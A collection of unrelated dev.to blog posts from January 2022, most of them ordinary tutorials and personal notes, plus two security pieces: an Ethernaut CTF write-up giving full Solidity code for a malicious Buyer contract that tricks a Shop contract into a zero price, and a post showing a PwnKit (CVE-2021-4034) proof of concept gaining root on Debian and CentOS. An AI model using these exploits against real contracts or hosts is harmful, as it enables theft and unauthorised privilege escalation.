teleren/devto huggingface dataset:
Ethernaut Hacks Level 21: Shop
Tags: solidity, ethereum, openzeppelin, smartcontract
Published: 2022-01-28 17:45:28

This is the level 21 of OpenZeppelin [Ethernaut](https://ethernaut.openzeppelin.com/) web3/solidity based game.

## Pre-requisites

- Solidity [view functions](https://docs.soliditylang.org/en/v0.8.11/contracts.html#view-functions)

## Hack

Given contract:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Buyer {
  function price() external view returns (uint);
}

contract Shop {
  uint public price = 100;
  bool public isSold;

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
  }
}
```

`player` has to set `price` to less than it's current value.

The new value of `price` is fetched by calling `price()` method of a `Buyer` contract. Note that there are two distinct `price()` calls - in the `if` statement check and while setting new value of `price`. A `Buyer` can cheat by returning a legit value in `price()` method of `Buyer` during the first invocation (during `if` check) and returning any less value, say 0, during second invocation (while setting `price`).

But, we can't track the number of `price()` invocation in `Buyer` contract because `price()` must be a `view` function (as per the interface) - can't write to storage! However, look closely new `price` in `buy()` is set _after_ `isSold` is set to `true`. We can read the public `isSold` variable and return from `price()` of `Buyer` contract accordingly. Bingo!

Write the malicious `Buyer` in Remix:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface IShop {
    function buy() external;
    function isSold() external view returns (bool);
    function price() external view returns (uint);
}

contract Buyer {

    function price() external view returns (uint) {
        bool isSold = IShop(msg.sender).isSold();
        uint askedPrice = IShop(msg.sender).price();

        if (!isSold) {
            return askedPrice;
        }

        return 0;
    }

    function buyFromShop(address _shopAddr) public {
        IShop(_shopAddr).buy();
    }
}
```

Get the address of `Shop`:
```javascript
contract.address

// Output: <your-instance-address>
```

Now simply call `buyFromShop` of `Buyer` with `<your-instance-address>` as only param.

The `price` in `Shop` is now 0. Verify by:
```javascript
await contract.price().then(v => v.toString())

// Output: '0'
```

Free buy!


_Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄

_and following me on twitter [here](https://twitter.com/heyNvN)_ 🙏
Custom ports in SSH config for VSCode Remote SSH
Tags: vscode, ssh, remote, productivity
Published: 2022-01-28 17:33:52

## Scenario
You want to connect to a remote workstation via VsCode, but on a different port than the default (22).

**Why would you need to do this?**
There could be any reason, but one that comes to mind is if  the default port requires authentication using something like PAM, or Kerberos, and you only want to be bothered by entering passwords when you use the default port instead of a custom port.

## Problem
By default the [Vscode Remote SSH](https://github.com/Microsoft/vscode-remote-release.git) plugin uses your local `~/.ssh/config` file for configuring remote connections. Let's assume that in that file, you have created a host configuration like:

```
Host my-company-machine
   User my-user-name
   HostName 127.0.0.1
   GSSAPIAuthentication yes
```

Now you would like to connect to the remote machine through VSCode's Remote SSH extension, but using a different port than the default.

## Ok solution
The easy solution would be to just add the port to the config file like so:

```
Host my-company-machine
   User my-user-name
   HostName 127.0.0.1
   GSSAPIAuthentication no
   Port 5000
```
Now VScode can connect to `my-company-name` using port 5000 on the remote, and problem solved?

Not really because we've now removed the authentication method required for the default port.

## Better solution

The manpage for [`ssh_config(5)`](https://man7.org/linux/man-pages/man5/ssh_config.5.html) lists a directive called `Include`, which allows us to include other ssh configs inside ours.

Furthermore, we can **override** configuration for host declarations found in those other configs.

The solution I propose (and which has worked for me), is to create a new config for vscode, and in that file, override the port used to connect to the remote host.

### ~/.ssh/config
```
Host my-company-machine
   User my-user-name
   HostName 127.0.0.1
   GSSAPIAuthentication yes
```

### ~/.ssh/vscode-config
```
Host my-company-machine
   GSSAPIAuthentication no
   Port 5000
Include ~/.ssh/config
```

Now you just need to change your plugin settings so that VSCode uses this new config, instead of your default one. Next time you connect to the remote host, VSCode will use port `5000`, and when you connect via regular ssh from a terminal, you will use port `22` by default, (_or specify a custom port via the `-p` option_).
Comandos que todo usuário iniciante de Linux deve saber 
Tags: braziliandevs, ubuntu, linux
Published: 2022-01-28 17:09:02

Fala galera, tudo certo? Trouxe pra vocês alguns dos principais comandos do Linux daquele jeitinho bem simples pra você ver que é bem mais fácil do que parece. Espero que ajude ☺️

### Comandos mais usados

* ls - listar o que tem no diretório.
Ele mostra todos os diretórios existentes para que você possa usá-los.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fsv1eoy7ruwbkklk7044.gif)

* mkdir - make directory. 
O próprio nome já diz: ele cria um diretório, aqui eu criei o diretório "exemplo":

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/mpjnzu3wgbckjqapkqad.gif)

* cd - serve para navegar pelos diretórios. Aqui eu entrei no diretório "dev", então na próxima linha ele mostra "~/dev".


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/oy5do6w5yskxo566wen1.gif)

* touch - criar arquivos.
Aqui fiz o arquivo "ex2", então quando uso o "ls" ele mostra que foi criado.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5x7k2d4qxwp9iteur85n.gif)

* cat - pega o conteúdo de um arquivo e exibe, nesse caso o conteúdo do arquivo "ex2" criado anteriormente.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wrggnqz3k727ohbqlbwp.gif)

* cp -r - copiar. Nesse exemplo eu copiei os diretórios "exemplo e "exemplo2", é necessário fazer isso para movê-los, por exemplo.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/27eb5qe0qr89126e1tg6.gif)

* mv - mover ou renomear. Movi o exemplo2 para dentro do exemplo3, então o exemplo2 não aparece junto com os outros diretórios mais.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/grs90xym35iictpsiqda.gif)

* rm - remover. Removi o arquivo "ex2". Para remover diretórios é só usar rmdir (remove directory) ao invés de rm.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/plhxzl9u9ja43psv0zyo.gif)

Espero ter poupado algumas pesquisas e que agora você consiga desenrolar melhor nosso querido Linux, até a próxima. 😉

Referência: [linux4noobs](https://github.com/LucasHe4rt/linux4noobs)
My Journey with WordPress
Tags: wordpress, journey, programming, motivation
Published: 2022-01-28 16:48:39

## Previously (the background)

Previously I have been working as a marketer for several companies since 2013. It was an interesting and creative kind of area, but after a while, everything became centralized around ROAS. So creativity just died. As a part of my job, I have created many email campaigns and some client processes based on if-else statements. This I what I liked the most. But nowadays, everything is about PPC and profit. Also, it takes a full-time job (and a bit more ) to keep up with the continuous daily changes of the ads manager applications. I've wanted some changes wanted some challenging and creative things to do.

I have started my journey with WordPress back in 2016. I've finished a web design course that worked with WordPress templates. 

We simply just modified the template. No child theme, no CSS frameworks just some little modifications. 

After I have finished the course, I have started to apply to companies for a job. I thought I know everything about WordPress. I was so naive. 

## Now

Unfortunately, I could not apply for the Computer Science department of the university or college in my studies.  But I have been always interested in programming since I have created websites with Yahoo's Geocities application back in the 2000s. So I wanted some changes. I had less interim in the marketing industry.

So, besides my regular job I've started the create websites for my clients after my work hours. I have learned a lot about coding, clients, running a business, using tools, etc. Of course, first I've started with free templates and the "Elementor and Divi" period came up. Also tried several other builders, but later on, I have started to learn theme and plugin development via code. 

Today I am still on the (beginning of the) road to mastering WordPress theme and plugin development. But now I know a lot more. Nowadays I am already working with CSS frameworks like Bootstrap, Tailwind, Automatic, and so on. Have some knowledge of PHP, Javascript, MySQL, Node.js, npm, gulp, yarn, etc. 

For client sites, I use Oxygen Builder as my main tool because it is more flexible and more developer-focused (and faster to work with). 

## The future

For this year I've decided to get back to finish the two-years programming school (second year), and also to develop my skills to become a full-stack developer. Also want to dive in more deeply into custom WordPress development. I hope I do it all the way through.

Only a few weeks passed in 2022, but I can see that this will be a much harder year than it was before. But It will be a cool journey anyway :)
MKProject Books 0.1.0
Tags: rust, javascript, programming, mkprojects
Published: 2022-01-28 16:48:03

## Electron or Tauri...
In MKProjects, I have chose Rust to be the preferred language of development, and I want to use it as much as I can. So when I wanted to make a desktop version of for my short open source programming 
books, I thought...what framework should I use?

Initially I considered GTK, however it's such a pain to set up, and it's better to build on a native Linux system (running a Gnome desktop environment), but I also wanted something that's like Electron but the application isn't like 1GB when building. 

That's the advantage of Rust, the output size can be smaller than the input, so I ended finding [Tauri](http://tauri.studio), it's like a Rust version of Electron. 

Now even myself I'm still learning the framework, so I'm not going to act like an expert, but using Svelte.js along with it is such a nice experience. 

> Note: Tauri offers using various JS/TS frameworks alongside it like Angular and React, I just prefer Svelte. 


![MKProject Books Preview](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/rmyvy0tmnhsahq25st4n.png)

> This is the  current build, you can download from [MKProject Releases](http://mkproj.com/releases). 

Currently this project isn't officially part of MKProjects, but once I get a more confident build up, the repo will be ported from my personal to MKProj.
1 line of code: How to reverse a string
Tags: javascript, webdev, productivity, codequality
Published: 2022-01-28 16:45:42


```javascript
const reverseString = str => [...str].reverse().join("");
```
Returns the reversed string.

---

## The repository & npm package

You can find the all the utility functions from this series at [github.com/martinkr/onelinecode](https://github.com/martinkr/onelinecode)
The library is also published to [npm as @onelinecode](https://www.npmjs.com/package/@onelinecode/onelinecode) for your convenience.

The code and the npm package will be updated every time I publish a new article.

---

Follow me on [Twitter: @martinkr](http://twitter.com/_martinkr) and consider to [buy me a coffee](https://www.buymeacoffee.com/martinkr)

Photo by [zoo_monkey](https://unsplash.com/@zoo_monkey) on [Unsplash](https://unsplash.com/s/photos/fuji)

---

[![Subscribe to the weekly modern frontend development newsletter](https://modernfrontend.dev/banner/banner_583-111.png)](https://modernfrontend.dev/)

---
WPBakery Developer Documentation
Tags: programming, php, visualcomposer, wordpress
Published: 2022-07-30 11:24:28

---
title: WPBakery Developer Documentation
published: true
date: 2022-01-28 16:39:49 UTC
tags: Programming,php,visualcomposer,wordpress
canonical_url: https://www.bearveloper.dev/wpbakery-developer-documentation/
---

If you work with WordPress and [WPBakery](https://wpbakery.com/) (also known by some as Visual Composer) chances are you have had to develop a custom shortcode element. Although I think WPBakery is a pretty good developer tool, their docs are far from being the best ones, and they are sometimes pretty hard to find.

To save myself (and you) some research time, here are some developer links I use a lot:

- [Inner API](https://kb.wpbakery.com/docs/inner-api/)
- [vc\_map](https://kb.wpbakery.com/docs/inner-api/vc_map/)
MedusaJS and more
Tags: typescript, ecommerce, javascript, medusa
Published: 2022-01-28 16:38:08

## What is MedusaJS? :green_heart:

:point_right: [MedusaJS](https://github.com/medusajs/medusa) is not more that The Open Source Shopify alternative.
Create a headless commerce store in minutes and start your growth journey on a fast and flexible foundation.

I really like that project and, I found that for my needs I needed a solution to be able to extend medusa in a way I could be able to achieve anything I wanted to achieve.

## Why MedusaJS :grey_question:	

Well, compared to other solutions, the learning curve is really smooth and you will find all the features that you really need. You can even move from Shopify to Medusa in just few minutes :point_right: [look at this](https://www.medusajs.com/post/migrating-from-shopify)
But I must talk about the community as well. Everybody trying to help each other, the team is always accessible and you can even get some 1:1 call if needed :)

## But you want more? :package:	

I have developed for my own project a tool that wrap medusajs and allow me to extend pretty much everything and rework the core architecture of my server (but without breaking any of the provided features). 
**Because I really like the community around, I have decided to put that work available as a public repository.**

## Do you want to give a feedback? :mega:

If you ever think about using medusajs but that you finally thought that some features were missing. Well, now you have the full power to add them in no time.

:point_right: Take a look at [medusa-extender](https://github.com/adrien2p/medusa-extender)
Data Structure And Algorithm Important topics
Tags: algorithms, beginners, programming, career
Published: 2022-01-28 16:37:58

Hello geeks !

It is quite obvious & known fact that DSA is one of the prioritized topic for placement reason and Even for becoming a good software developer.
I am going to give all the Important DataStructure And algorithms related to it.

1.Aarays.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/x3n2i143qbfbiks0lz56.jpg)

2.Recursion and Backtracking.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/nehiqfn48180s18ejir8.jpg)

3.Dynamic programming.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/l5igxykmtwb97u9bqgtn.jpg)

4.Stack.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/caq0g4lh71vvisdgwp2u.jpg)

5 .Queue .

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/kg8xvl1syg2016cjosmh.jpg)

6 . HashMap.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2guzvp3tus9002u3s6rf.jpg)

7 .Linked List.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/u9bsxdlxwxgtenddk74r.jpg)

8 . Binary search Tree .

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7gi4hguspkaqq4meaa85.jpg)

9 .Graphs.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/j8ukr2brxao6kd2tbpmo.jpg)

10 . Tries.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/m4i2qltq34frn6i0ch1g.jpg)
When use preventDefault() in a dom?
Tags: javascript, dom
Published: 2022-01-28 16:28:07

**First case**: When you create a form, inside the form, you create a button, and when the button has clicked.
**Second case**: Your inside the form or inside the div, button type or input type is submit.

-in this two cases, you use  **e.preventDefault();**

otherwise, you can't see the output. Your output is ready but not show. It display too fast that you can't see it. 

- without using **e.preventDefault()**;

{% codepen https://codepen.io/webfaisalbd/pen/rNYVodr %} 

---

- with using **e.preventDefault()**;

{% codepen https://codepen.io/webfaisalbd/pen/bGYdzdY %}
Common Sense
Tags: discuss, personal, improvement, growth
Published: 2022-01-28 16:22:13

---
title: Common Sense
published: true
description: Common Sense is not so common
tags: discuss, personal, improvement, growth
cover_image: https://dev-to-uploads.s3.amazonaws.com/uploads/articles/p2f1nolwpcjpz6vmb5dz.jpg
---

_Originally published on [my blog](https://www.nikola-breznjak.com/blog/daily-thoughts/common-sense/)._

> Because there's so much noise today, people pay for common sense - which they could have come to on their own if they only employed their brain.

---

This is [why I write](https://www.nikola-breznjak.com/blog/daily-thoughts/why-do-i-write-these-daily-thoughts-posts/) these 'daily thoughts' posts.
CVE-2021-4034: The new vulnerability everyone has been talking about - PoC 🙄
Published: 2022-01-28 16:15:05

# **CVE-2021-4034**

While the vulnerability is not exploitable remotely and doesn’t, in itself, allow arbitrary code execution, it can be used by attackers that have already gained a foothold on a vulnerable host to escalate their privileges and achieve that capability.

[https://seclists.org/oss-sec/2022/q1/80](https://seclists.org/oss-sec/2022/q1/80)[https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034](https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034)

# **PoC**

Verified on Debian 10 and CentOS 7.

You can find the repo at this link here → [https://github.com/Yakumwamba/POC-CVE-2021-4034.git](https://github.com/Yakumwamba/POC-CVE-2021-4034.git)

```jsx
yaku@debian:~$ grep PRETTY /etc/os-release
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
yaku@debian:~$ id
uid=1000(user) gid=1000(yaku) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
yaku@debian:~$ gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
yaku@debian:~$ ./cve-2021-4034-poc
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),1000(yaku)
```

```jsx
[yaku@centos ~]$ grep PRETTY /etc/os-release
PRETTY_NAME="CentOS Linux 7 (Core)"
[yaku@centos ~]$ id
uid=11000(yaku) gid=11000(yaku) groups=11000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[yaku@centos ~]$ gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
[yaku@centos ~]$ ./cve-2021-4034-poc
sh-4.2# id
uid=0(root) gid=0(root) groups=0(root),11000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.2# exit
```



# What is polkit?

Polkit is a daemon that manages system processes and policies. It is used by system administrators to control which users and applications can have access to certain system resources.

**whoami? **
[YAkU](github.com/yakumwamba)
Learning solidity and rust for web 3.0
Published: 2022-01-28 16:04:03


Just yesterday , I had a discussion on the projections that are viewed to be the fruit of web 4.0 , 

**haven't seen that , you can check it out here**



```
Mahmudsudo.hashnode.dev
```





So to understand the assertions that my projections in my previous posts might be achieved in web 3.0 itself , I decided to get my hands dirty with solidity and rust and smart contracts which are the foundations of web 3.0, if you wanna try out this path also you can signify in the comments section and let's share ideas .

Since Rust is an intersection between C++ and Java so I can pick up in no time.



I gave myself a duration of 6 weeks due to me having an examination by February ,
See you on the other side.....
Difference between innerText and textContent.
Published: 2022-01-28 16:00:17

innerText returns the visible text contained in a node only, where textContent returns the full text.

```html

<span>Hello <span style="display: none;">World</span></span>

```

- 
 **innerText** will return **_'Hello'_**

- 
 **textContent** will return **_'Hello World'_**